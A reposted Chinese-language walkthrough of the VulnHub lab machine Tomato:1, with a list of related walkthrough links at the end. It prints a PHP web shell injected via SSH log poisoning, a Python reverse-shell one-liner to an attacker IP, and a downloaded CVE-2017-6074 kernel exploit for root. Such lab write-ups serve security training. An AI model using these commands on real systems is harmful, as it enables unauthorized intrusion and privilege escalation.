VulnHub渗透测试实战靶场 - Tomato:1

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了VulnHub渗透测试实战靶场 - Tomato:1相关的知识,希望对你有一定的参考价值。

环境下载

Tomato:1靶机搭建

将下载好的靶机导入Vmware,网络连接设置为NAT模式即可

渗透测试

信息搜集

  • 用arp-scan探测一下网段内目标靶机的IP:sudo arp-scan -l
  • 得到目标靶机的IP为:192.168.246.137
  • 使用 nmap 扫描开放的端口:sudo nmap -sC -sV -p 1-10000 192.168.246.137,发现开放了 21、80、2211、8888 四个端口
  • 使用 dirb 扫描一下开放的 80 端口:dirb http://192.168.246.137

漏洞挖掘

  • 访问 http://192.168.246.137/antibot_image/ 发现存在目录 antibots,接着访问该目录,发现存在很多文件
  • 访问 http://192.168.246.137/antibot_image/antibots/info.php,找到 phpinfo 的信息,F12查看源码发现 hint,存在文件包含漏洞

getshell

  • 前面信息搜集时发现开放了 2211 端口,服务为 ssh,尝试对日志文件写入 shell,然后包含日志文件
  • 先查看日志文件是不是在默认路径:http://192.168.246.137/antibot_image/antibots/info.php?image=/var/log/auth.log
  • 利用 ssh 连接,写入一句话木马:ssh '<?php system($_GET['H3rmesk1t']);?>'@192.168.246.137 -p 2211
  • 查看靶机是否安装了 python,whereis python,可以看到目标靶机安装了python3,那就可以利用 python 进行反弹了
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.246.129",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • 执行命令 python3 -c 'import pty;pty.spawn("/bin/bash")' 将 shell 变为交互式的 shell

提权

  • 执行命令 uname -a 查看 linux 内核版本,寻找有无可以利用的 exp,exp链接
  • 运行 compile.sh 编译c文件,然后在 kali 上用 Python 起一个 Http 服务,python2 -m SimpleHTTPServer 8888,接着在靶机用用 wget 命令 wget http://192.168.246.129:8888/CVE-2017-6074下载 exp
  • 给 exp 赋予执行权限 chmod +x CVE-2017-6074
  • 运行 exp,拿到 root 权限

以上是关于VulnHub渗透测试实战靶场 - Tomato:1的主要内容,如果未能解决你的问题,请参考以下文章

VulnHub渗透测试实战靶场 - Funbox: Lunchbreaker

VulnHub渗透测试实战靶场 - NULLY CYBERSECURITY: 1

VulnHub渗透测试实战靶场-HA: FORENSICS

VulnHub渗透测试实战靶场 - FUNBOX: CTF

VulnHub渗透测试实战靶场 - Funbox: GaoKao

VulnHub渗透测试实战靶场 - DevContainer:1